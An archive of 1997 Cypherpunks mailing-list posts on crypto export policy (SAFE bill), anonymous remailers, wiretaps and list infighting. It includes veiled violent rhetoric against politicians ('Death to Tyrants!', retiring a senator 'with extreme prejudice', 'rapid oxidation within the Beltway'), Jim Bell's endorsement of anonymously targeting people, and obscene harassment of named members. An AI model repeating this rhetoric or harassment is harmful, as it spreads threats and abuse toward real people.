From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 15 May 1997 10:09:39 +0800
To: cypherpunks@toad.com
Subject: Re: Enough of this shit already!
In-Reply-To: <v03007811af9f9c6474b1@[207.94.249.70]>
Message-ID: <XkVP7D40w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Frantz <frantz@netcom.com> writes:

> At 8:10 AM -0700 5/13/97, Ray Arachelian wrote:
>
> >Agreed.  While I will restrain my oppinions of our unfriendly KOTM with a
> >doctorate from the KGB, I'm tired of these spams.  Yes, they include the
> >ones that IMHO come from Vulis, the ones to which Graham replies, the
> >anonymous ones that reply to Graham, the permutations of them that
> >spam Toto, and these.  :(
>
> IMHO these spams are the reason people have been leaving the list, not the
> political discussions (Perry excepted).

Good. People who can't set up a mail filter don't belong on a technical list.

> >Hell, the nice bomb making spam too is also a bitch being posted here.
> >One could give the poster the benefit of the doubt, but it smells quite
> >of the tactics used by the Postal fiends that mail child porno to an
> >unsuspecting citizen unit, then arrest that citizen unit upon receipt.
>
> Note that the bomb making information has revealed nothing more than what a
> good encyclopedia should have.  To go from explosives information to bomb
> making recipes requires a good deal more information, e.g. about safety.

It should be posted, but perhaps not on this list. bombpunks?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Thu, 15 May 1997 11:47:41 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Rwanda and "anarchy"
Message-ID: <199705150242.TAA02162@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 14:48 5/14/97 -0700, Rich Graves wrote:
>Kent Crispin wrote:
>> In fact, the correlation between anarchy and war is very strong, for
>> obvious reasons. Perhaps that is why most intelligent people don't
>> consider anarchy a desirable state of affairs.
>
>There is no such thing as anarchy, and there never will be.

I think it's at least a little tacky for you to ignore recent work which may
have already shown your claim to be false.  

For the rest of you out there, I suggest that you check out AP part 9.

There are excellent reasons that people considered true anarchy to be
unattainable, because it was considered fundamentally unstable.  Even I
believed that, before 1995.  Now, I've changed my opinion, and for good
reason.    Anarchy becomes stable if the population can anonymously target
those who threaten danger to the rest.  AP will do exactly this, so anarchy
will become stable.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Thu, 15 May 1997 12:08:22 +0800
To: Kent Crispin <cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
Message-ID: <199705150242.TAA02169@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 14:27 5/14/97 -0700, Kent Crispin wrote:
>On Wed, May 14, 1997 at 03:07:43PM -0400, Tom Allard wrote:

>> How pedantic.  Webster's New World Dictionary (also reputable, I might add),
>> has THIS to say about "Anarchy":
>> 
>>   anarchy n. [Gr. an- without + archos, leader] 1. the absence of government
>>   2. political disorder and violence 3. disorder; confusion
>> 
>> Note the etymology.  Taken to its roots, the word simply means "no leader".
>
>Note the second definition.

A definition which it included because of years of misuse.  It is said that
language is a living thing, which it is, which means that if an error is
made frequently enough it becomes the truth.  

Most of us understand this concept.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Thu, 15 May 1997 09:25:57 +0800
To: "Roger J. Jones" <cyber@ibpinc.com>
Subject: Re: Anonymous Remailers
In-Reply-To: <01BC603F.4B529240@pc1901.ibpinc.com>
Message-ID: <Pine.BSF.3.91.970514195332.11250H-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




On Wed, 14 May 1997, Roger J. Jones wrote:

> Why is it that some who are very concerned about their personal privacy utilize anonymous remailers that:
> 
> 1) Log all of their mail messages?
> 2) Are in many cases reputed to be run by foreign intelligence services?

Chain enough emailers run by rival foreign intelligence servers together, 
and you've got fairly good privacy(tm).  ;)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 15 May 1997 10:45:41 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Quadratic residues
In-Reply-To: <199705141118.EAA21038@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970514202702.66302C-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 14 May 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to
him.

> Tim May's mother attempted to pro-choice the unwanted 
> little bastard by fishing with a coat hanger in her giant 
> cunt, but failed miserably to pull the rabbit and 
> succeeded only in scraping out the contents of little 
> Timmy's fetal cranium (not much to begin with).
> 
>        (_) _____ (_)
>           /O   O\   Tim May
>          !   I   !
>          ! \___/ !
>           \_____/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 21 May 1997 19:04:33 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705210959.CAA20206@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 14 May 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to
him.

> Tim May's mother attempted to pro-choice the unwanted 
> Graham-John Bullers by fishing with a coat hanger in her giant 
> cunt, but failed miserably to pull the rabbit and 
> succeeded only in scraping out the contents of little 
> Timmy's fetal cranium (not much to begin with).
> 
>        (_) _____ (_)
>           /O   O\   Graham-John Bullers
>          !   I   !
>          ! \___/ !
>           \_____/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 15 May 1997 08:45:02 +0800
To: cypherpunks@toad.com
Subject: OTP
Message-ID: <199705150028.UAA32507@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May's reheated, refurbished, and regurgitated cud is completely 
inappropriate for the mailing lists into which it is cross-ruminated.

           \|/
        /~~~~~~~\
       |  O   O  |
   -ooo-----U-----ooo- Timmy May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 15 May 1997 12:45:43 +0800
To: cypherpunks@toad.com
Subject: SAFE vote and cutting crypto-deals, report from House Judiciary
Message-ID: <Pine.GSO.3.95.970514211520.28811E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Wed, 14 May 1997 21:11:35 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: SAFE vote and cutting crypto-deals, report from House Judiciary

You get a sense of the inevitable when you're handed a
stack of press releases congratulating a committee for
passing a bill -- an hour before the vote happens.

That's what happened this afternoon when the House
Judiciary committee unanimously approved SAFE, a bill
that generally loosens export controls on crypto.

Now, today's vote doesn't mean that the bill will move
to the floor unmolested, and it doesn't mean that all
its problems have been fixed. The Judiciary Committee
doesn't have jurisdiction over export relaxations, and
the bill's opponents pledged to fight when the measure
moves to the International Relations committee. Then
there's that portion about using crypto in a crime:
it's been modified, cleaned up, but not removed.

High and low points of today's hearing. I'll keep these
short since I've got to get to sleep:

* In another blow to the White House, the New Democrat
  Coalition is demanding that the White House change its
  crypto-policy. A letter the group of centrist Dems
  sent to Clinton today said: "We are deeply concerned
  that current policy restricting exports of
  cryptography technology poses a real threat to U.S.
  dominance..."

* The heinous section of the law that would create
  broad new Federal felonies for some uses of crypto was
  replaced. The amendment, offered by Rep. Delahunt
  and adopted unanimously includes eight hurdles:

	"Any person who, in the commission of a felony under
	a criminal statute of the United States, knowingly
	and willfully encrypts incriminating information
	relating to that felony with the intent to conceal
	such information for the purposes of avoiding
	detection by law enforcement agencies or
	prosecution..."

  It's a solid improvement, but this language still has
  no business becoming law. Problem is, nobody seems to
  have the balls to stand up and yank it. Delahunt,
  the amendment's sponsor, said the bill without the
  amendment "could have a chilling effect on the
  development and use of encryption." He added: "I
  recognize that some supporters of this amendment would
  like that this section be removed altogether." But it
  doesn't seem likely.

* The word on the streets is compromise. Hyde, chair
  of House Judiciary, brokered a meeting in his offices
  yesterday bringing together spooks, law enforcement,
  Goodlatte, and staffers. He says they're "very close
  to resolving any difficulties."

  Rep. McCollum chimed in: "It's just a matter of time
  before we work something out." Rep. Buyer said, and I
  am not making this up: "We should be good listeners to
  the NSA." Rep. Berman: "I hope there would be some way
  to bridge the differences between the administration
  and Goodlatte."

  More on this later...

* Rep. Hutchinson introduced an amendment that passed
  unanimously:
	
    (a) The Attorney General shall compile, and maintain
	in classified form, data on the instances in which
	encryption (as defined in section 2801 of title 18
	USC) has interfered with, impeded, or obstructed the
	ability of the Department of Justice to enforce the
	criminal laws of the United States. (b) The
	information compiled under subsection (a), including
	an unclassified summary thereof, shall be made
	available, upon request, to any Member of
	Congress.

  Problem is, a similar provision is *ALREADY LAW*. (It
  passed last year as part of an omnibus spending bill.)
  Brock Meeks wrote about it in his last Muckraker
  column: http://www.muckraker.com/

  And this is bad news: we already know that piss-poor
  crypto -- we're talking Brian Milburn-style, or
  WordPerfect strength -- has interfered with
  investigations. But with the NSA's help, cops were
  able to tunnel through it.

  That's why the Feds should be looking not at whether
  it *interferes* with an investigation, but whether it
  has *derailed* one. At least when the NRC report came
  out last year, not one investigation was derailed
  through the use of crypto. But even if it has derailed
  an investigation -- well, that may be the price of
  freedom...

* Rep. McCollum (R-Fl), a real Big Brother type of guy,
  added  an amendment to page 4, line 14 that passed
  unanimously. Addition is in caps:

     Subsection (a) shall not afect the authority of any
     investigative or law enforcement officer OR ANY MEMBER
     OF THE INTELLIGENCE COMMUNITY acting under any law in
     effect on the effective date of this chapter, to gain
     access to encrypted information.

  Now what the hell does this mean? Says McCollum: ""it
  is truly a technical amendment."

* Rep. Rothman was the only one who pointed out how
  government access to keys reduces freedom: "It raises
  civil libertarian and totalitarian issues for me." He
  recounted how at a recent hearing he asked the
  administration: "Let's cut to the chase: do you want
  to mandate this access?" The reply: "No, no, no."

I've said it before and I'll say it again: Congress
desperately wants to compromise. They're aching to
split the difference, cut a deal, and screw the pooch
in the process. Just watch for the backroom scheming
over the next few months. And if the worst features of
all the crypto-bills are combined into one package
that's attached to a huge spending bill that "just has
to go through" -- well, don't say I didn't warn you...

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 15 May 1997 09:37:35 +0800
To: cypherpunks@toad.com
Subject: The E-Bomb
Message-ID: <1.5.4.32.19970515011615.0098f1b8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Dave Emery has pointed to an article, "The E-Bomb - 
a Weapon of Electrical Mass Destruction," which
describes the work being done on EMP weapons.

The piece is at Infowar.com, but we've borrowed
a copy to put at:

   http://jya.com/ebomb.htm  (93K + excellent diagrams)

It may help explain that unearthly blast in the Aussie
Outback discussed here a few weeks ago. Someone 
suggested HAARP as an explanation, and another hinted 
at other godawful research being done that similar to what 
the genius Tesla was doing early in the century to 
shatter the planet and fry the sky, and now, it seems, 
coming true.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 15 May 1997 10:05:49 +0800
To: cypherpunks@toad.com
Subject: BXA Docs
Message-ID: <1.5.4.32.19970515014554.009c41b8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


BXA has published two short crypto-related docs, 
both dated May 8, 1997.

William Reinsch's testimony on Goodlatte's bill:

   http://jya.com/bxa050897.htm

Press release on Reinsch's ABA talk about the 
new regulations for financial transactions:

   http://jya.com/bxa050897-2.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Thu, 15 May 1997 11:59:39 +0800
To: cypherpunks@einstein.ssz.com (Cypherpunks Distributed Remailer)
Subject: update.321 (fwd)
Message-ID: <199705150246.VAA28144@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:
>From physnews@aip.org Wed May 14 13:21:46 1997
Date: Wed, 14 May 97 10:24:01 EDT
From: physnews@aip.org (AIP listserver)
Message-Id: <9705141424.AA09540@aip.org>
To: physnews-mailing@aip.org
Subject: update.321


PHYSICS NEWS UPDATE                         
The American Institute of Physics Bulletin of Physics News
Number 321 May 13, 1997   by Phillip F. Schewe and Ben Stein

A PHOTON CONVEYOR BELT has been created using sound
waves and lasers, bringing about a new method for processing and
storing light signals on a chip.  In some opto-electronic devices it
is desirable to delay or store an optically-encoded message by
dispatching it down kilometer-long fiber cul-de-sacs.  In a device
developed at the University of Munich, the delay can be
accomplished more compactly by first converting the light into a
splash of excitons (electron-hole pairs) which propagate at a more
leisurely pace, the electrons and holes surfing along on different
parts of a guiding acoustic wave.  Later the electron-hole pairs
recombine into photons, which are read out at the other end of the
sample.  In effect the signal has been converted from a speed-of-
light wave into a speed-of-sound wave, and back again.  This
technique is also a way of prolonging the lifetime of excitons,
which typically live for mere nanoseconds before recombining; in
this experiment they have now been preserved for microseconds.
(C.  Rocke et al., Physical Review Letters, 19 May 1997; contact
Achim Wixforth, Achim.Wixforth @physik.uni-muenchen.de;
animation at www.aip.org/physnews/graphics)

THE QUANTUM WAVEFUNCTION OF A MATTER WAVE,
the complete mathematical description of a quantum system, has
been experimentally reconstructed for the first time.   Trapping a
single beryllium ion in electric fields, Dietrich Leibfried and his
colleagues at NIST created a state in which the ion has exactly one
quantum of vibrational energy. Determining the wavefunction,
which contains all the knowable information about this system, is
difficult because the uncertainty principle says that measuring its
position alters its momentum and vice versa.   But by preparing the
same quantum state 500,000 times and making a different
measurement each time, the researchers sidestepped this limitation
and reconstructed piecemeal the probability for the ion to have
certain values of position and momentum.  Known as the Wigner
function, this "quasiprobability" distribution can be mathematically
transformed into an average quantum wavefunction for the system
which, the researchers argue, is nearly identical to the actual
wavefunction. The NIST researchers were the first to measure
negative Wigner function values for certain coordinates of position
and momentum--something that can only happen for quantum
systems; this reflects the fact that the system can exist in many
states simultaneously. (Physical Review Letters, 18 November
1996.)   Subsequently, physicists at the University of Konstanz in
Germany measured the Wigner function of a matter wave traveling
in free space--a helium atom traversing a pair of slits.  (Nature, 13
March; also Science News, March 15.)

PHYSICISTS ARE 46 YEARS OLD AND MAKE $65,000 A
YEAR.  These are median values for a PhD physicist in  the U.S.
in 1996.  Those who work at federal labs made the most (median 
$78,500), even more than in industry (median $77,000); those at 
4-year colleges made the least, with a median of $49,200. 
Geographically, median salaries ranged from $70,000 (Pacific
states) to $56,200 (East South Central). New PhD's earn $31,000
at universties and $39,600 at federal labs.  Salaries for female
physicists who have earned the PhD in the past 10 years are
comparable to salaries for male physicists with similar experience
("Society Membership Survey: Salaries 1996," a report issued in
April by the AIP Education and Employment Statistics Division;
contact Ray Chu, rchu@aip.org)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Horton <jehorton@erols.com>
Date: Thu, 15 May 1997 10:42:04 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: 96 Wiretap Report
In-Reply-To: <199705140202.VAA11766@mailhub.amaranth.com>
Message-ID: <337A710F.18DB@erols.com>
MIME-Version: 1.0
Content-Type: text/plain


William H. Geiger III wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <1.5.4.32.19970514012608.008ff084@pop.pipeline.com>, on 05/13/97 at
> 07:26 PM,
>    John Young <jya@pipeline.com> said:
> 
> >We offer the text and three summary tables of the
> >U.S. Courts "1996 Wiretap Report" at:
> 
> >   http://jya.com/96wiretap.htm  (36K)
> 
> I noticed in the summary report that e-mail interceps were used. Is their
> more detailed information on this? I would be intrested to know how
> involved the govenment is becoming involved in this area. Of great intrest
> would be the location and means used to do such taps.

Don't know specifically where the taps are, but there is a major network
access point (NAP) in Reston or Maclean VA.  There are other NAPs
located domestically. Some urls to look (by no means inclusive) that
will provide NAP information are:

	www.ra.net
	nic.merit.edu/ipma
	www.rsng.net/naps.html
	www.mfsdatanet.com/MAE/doc/mae-info.html


> 
> Thanks again for providing a wealth of information,
> 
> - --
> - -----------------------------------------------------------
> William H. Geiger III  http://www.amaranth.com/~whgiii
> Geiger Consulting    Cooking With Warp 4.0
> 
> Author of E-Secure - PGP Front End for MR/2 Ice
> PGP & MR/2 the only way for secure e-mail.
> 
> Finger whgiii@amaranth.com for PGP Key and other info
> - -----------------------------------------------------------
> 
> Tag-O-Matic: Windows: From the people who brought you EDLIN!
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.2
> Comment: Registered User E-Secure v1.1 ES000000
> 
> iQCVAwUBM3ksMo9Co1n+aLhhAQEJuQP/eI6H5ZvlCgiDfFgocpyXX+crj+q84XXY
> aPEJEXYXGhAF/Vp1HywbjU0HxyufmSCBKaU5h74dSLPGSThaicRQSILMwU7q9fzL
> 2scmwLwpsxv1P5VIaWiOiGLtYp+7CcPzd/lHEgPeyA+81VBkcBsdH41P4tywEH7Z
> dCKTFNi9dh0=
> =OBuw
> -----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Stokely Boast <stokely@beacondesign.com>
Date: Thu, 15 May 1997 10:33:54 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Enough of this shit already!
In-Reply-To: <XkVP7D40w165w@bwalk.dm.com>
Message-ID: <Pine.GSO.3.96.970514221027.12331C-100000@shell2.shore.net>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 14 May 1997, Dr.Dimitri Vulis KOTM wrote:

> Bill Frantz <frantz@netcom.com> writes:
> 
> > At 8:10 AM -0700 5/13/97, Ray Arachelian wrote:
> >
> > >Agreed.  While I will restrain my oppinions of our unfriendly KOTM with a
> > >doctorate from the KGB, I'm tired of these spams.  Yes, they include the
> > >ones that IMHO come from Vulis, the ones to which Graham replies, the
> > >anonymous ones that reply to Graham, the permutations of them that
> > >spam Toto, and these.  :(
> >
> > IMHO these spams are the reason people have been leaving the list, not the
> > political discussions (Perry excepted).
> 
> Good. People who can't set up a mail filter don't belong on a technical list.
> 

As many people before me have pointed out, this is not a list (nor should
it be one) which is subscribed to only by 'technical' people. 

> It should be posted, but perhaps not on this list. bombpunks?
> 

Set up some ML software on reliable server and I'll subscribe.

-------------------------------------------------------------------------
Stokely Boast                                    stokely@beacondesign.com
Client/Server and RDBMS Consulting                Beacon Design Group Inc
PGP Id/Print: 5FD48D11 / B2 49 6C 7D 18 AC CA FB  0E 17 E5 97 6C 11 6C E7
-------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 15 May 1997 13:46:27 +0800
To: "'cypherpunks@toad.com>
Subject: Re: Anonymous Remailers
In-Reply-To: <01BC603F.4B529240@pc1901.ibpinc.com>
Message-ID: <19970514222526.39369@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 14, 1997 at 06:01:23PM -0700, Lucky Green wrote:
> On Wed, 14 May 1997, Roger J. Jones wrote:
> 
> > Why is it that some who are very concerned about their personal privacy utilize anonymous remailers that:
> > 
> > 1) Log all of their mail messages?
> > 2) Are in many cases reputed to be run by foreign intelligence services?
> 
> Net.myths
>  
> > Do they really trust the owner of the remailer? (Unless of course, it is
> their remailer?) I seem to be missing something. 
> 
> You are missing the fact that you can chain remailers. Therefore it is 
> pretty much irrelevant if some remailers are compromised.
> 
> 
> Then again, I know several remailer operators personally. Which makes me 
> less worried about the them being foreign intelligence agents.

Lucky, since I am considered contemptible by several c'punks, I worry
about them more than I would about foreign intelligence agents.  I
have actually considered sending some things through the remailers,
but I don't trust them -- I don't find cypherpunks any less
susceptible to ideology than foreign agents... 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 15 May 1997 13:57:43 +0800
To: tcmay@got.net>
Subject: Re: Just Say "No" to Congress
Message-ID: <3.0.32.19970514223849.006ea694@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:25 AM 5/15/97 -0400, Declan McCullagh wrote:
>Tim wrote:
>
>> We're basically under assault from all directions. The bozos in Congress
>> and state governments are spinning out new laws and obscure regulations
>> faster than we can react...and of course they're using our money to
>> generate these laws and lobby for them. Further, a mostly-brainwashed
>> Washington media population is surprising uncritical of these blizzard
>> drifts of new laws.
>
>Hmmm... Do I get counted in the "mostly-brainwashed" category?

I am sure that Tim knows by now that you don't fall into that category.
Still, most members of the Washington media population seem brainwashed. At
least judging by the stuff they publicize.

>FYI, here are two bills that Feinstein introduced recently:

Sigh. She is my Senator. [Don't blame me. I voted against her. But she hits
the feelings of the Bay Area head on. "Big brother will bring you
multi-cultural happiness." She is such a hypocrite. Even carried a gun
after Moscone and Milk were shot and she thought herself in danger. Once
she felt safe again, she went on TV and said that if she could get the
votes in the Senate for total confiscation she would push for it. What's
good for the goose...]



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <geeman@best.com>
Date: Thu, 15 May 1997 13:56:33 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Just Say "No" to Congress
Message-ID: <3.0.32.19970514223307.006b4704@best.com>
MIME-Version: 1.0
Content-Type: text/plain


I think I'd like to have some voice in who steps up to the bar
to fill the power vacuum, though, after the rapid oxidation 
within the Beltway.

At 09:13 AM 5/14/97 -0800, Tim May wrote:
>At 9:14 PM -0800 5/13/97, Lucky Green wrote:
>>At 12:19 PM 5/11/97 -0400, Declan McCullagh wrote:
>>>You might remember I wrote recently about the DoJ report released this
>>>month that calls for new legislation to ban bomb-making info online. Now
>>>Feinstein's office tells me she's going to introduce a bill.
>>
>>Feinswine never saw a gun/mind control bill she didn't like. She is an
>>ultra fascist that rose to power thanks to the yellow dog Bay Area voters.
>>
>
>Feinswine/Swinestein is the most despicable of all the politicians in
>Congress. (This is not just ideology speaking...her usual-ally Barbara
>Boxer is much less swinish, and even has some independent thoughts. I can't
>see I often agree with Boxer, but she's not the Big Sister automaton that
>Swinestein is.)
>
>We're basically under assault from all directions. The bozos in Congress
>and state governments are spinning out new laws and obscure regulations
>faster than we can react...and of course they're using our money to
>generate these laws and lobby for them. Further, a mostly-brainwashed
>Washington media population is surprising uncritical of these blizzard
>drifts of new laws.
>
>As others have noted, recently James Donald, the lawmakers play the "good
>cop, bad cop" game very well. Crypto becomes exportable (good cop), but
>only if keys are given to the government (bad cop). Speech is ostensibly
>protected by new laws, but new provisions criminalize racist, homophobic,
>disrespectful, hurtful, offensive, or unpopular opinions.
>
>The "there ought to be a law" crowd is in high gear.
>
>The only proper rebuttal is to reject their view that more laws will fix
>the societal ills they perceive.
>
>Attempting to "work with them" only feeds the good cop/bad cop system, as
>the SAFE and Pro-CODE bills show.
>
>Removing the Washington area as a malignant tumor requiring drastic surgery
>remains an option.
>
>--Tim May
>
>There's something wrong when I'm a felon under an increasing number of laws.
>Only one response to the key grabbers is warranted: "Death to Tyrants!"
>---------:---------:---------:---------:---------:---------:---------:----
>Timothy C. May              | Crypto Anarchy: encryption, digital money,
>tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
>W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
>Higher Power: 2^1398269     | black markets, collapse of governments.
>"National borders aren't even speed bumps on the information superhighway."
>
>
>
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 15 May 1997 14:33:10 +0800
To: declan@well.com
Subject: Re: Just Say "No" to Congress
In-Reply-To: <v03007802af9fa094e283@[207.167.93.63]>
Message-ID: <v03007806afa05fdfd3dc@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:25 PM -0800 5/14/97, Declan McCullagh wrote:
>Tim wrote:
>
>> We're basically under assault from all directions. The bozos in Congress
>> and state governments are spinning out new laws and obscure regulations
>> faster than we can react...and of course they're using our money to
>> generate these laws and lobby for them. Further, a mostly-brainwashed
>> Washington media population is surprising uncritical of these blizzard
>> drifts of new laws.
>
>Hmmm... Do I get counted in the "mostly-brainwashed" category?

No point in naming names. Nearly all reporters covering Washington are
essentially "policy wonks" (a term I hate, but it's the jargon du jour).

They lose sight of the forest for the trees. Further, nearly all news
outlets--the newsweekies, the newspapers, the broadcast networks--want
reporters to be somewhat neutral. (Which I don't necessarily disagree
with...but it explains why only the most wonkish and "lost in the trees"
reporters can tolerate and thrive in a Washington environment.

(Declan knows all this, of course, so I'm not teaching him how to suck eggs.)

Any reasonable person, whether leftist, rightist, libertarian, or whatever,
would respond to the long boring negotiations over bills--the soporific
markup Declan described, for example--with a cry of "I'm mad as hell and
I'm not going to take it anymore."

Those who tolerate and thrive in Washington thus must think the "political"
issues, the backroom deals, the wheelings and dealings, are worth the
boredom.

This is why I call them brainwashed. A better term might be "born
compromisers."

By the way, nothing I saw in the latest version of SAFE is acceptable. And
I agree with Declan that it will only get worse. The NSA and FBI will lean
on Hyde, on the International Relations committee, and the final version
will have murky language about legitimate needs of law enforcement, key
recovery, etc.

And there is zero chance that arbitrarily strong crypto will be freely
exportable.

Result? Americans as a whole gain no freedoms not already implicit in the
Constitution, pernicious language takes away some existing guaranteed
freedoms, NSA gets it wish to control exports, and key recovery is given a
boost.



>FYI, here are two bills that Feinstein introduced recently:
>
>     S. 504. Children's Privacy Protection and Parental Empowerment Act
>     of 1997. Prohibits the sale of personal information about children
>     without their parents' consent. Introduced by Feinstein (D-CA) on
>     3/20/97. Referred to the Committee on the Judiciary.

>From what I read here, another statist law. If I come into information
legally (scenarios left as an exercise for the reader), it is mine to sell,
give away, or do with as I please. Period. Crap about "parental
empowerment" is just a smokescreen. If parents or children wish to protect
certain information, let them not provide it. ("Remember Johnnie, if a man
comes up to you and says he's from Child Protective Services and he wants
to ask you a few questions, what did I tell you to say to him?" "You mean,
'Fuck off, fascist narc!'?" "Good, Johnnie, good.")

>     S. 600. Personal Information Privacy Act of 1997. Amends FCRA to
>     prohibit sale on non-public information, prohibits use of SSN as ID
>     number, limits use of SSN on drivers liscenses. Introduced by
>     Feinstein (D-CA) on 4/16/97. Referred to the Committee on Finance.

This sounds OK, as I hate being required by law to give my SS number to so
many. (In California it's required for car registration...my SS card says
plainly "Not to be used for identification," but this is ignored.)

But I fear it makes little difference. The SS number is already so widely
linked in data bases that it can be easily found. (Income tax forms are
sent to mailing addresses with the SS number prominently in the upper
right-hand corner of the damned mailing label!!!!)

Swinestein is in general a hopeless case, one who should be retired from
government office with extreme prejudice.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 15 May 1997 14:42:24 +0800
To: Kent Crispin <cypherpunks@toad.com>
Subject: Re: Anonymous Remailers
In-Reply-To: <01BC603F.4B529240@pc1901.ibpinc.com>
Message-ID: <v03007807afa0691f003f@[207.167.93.63]>
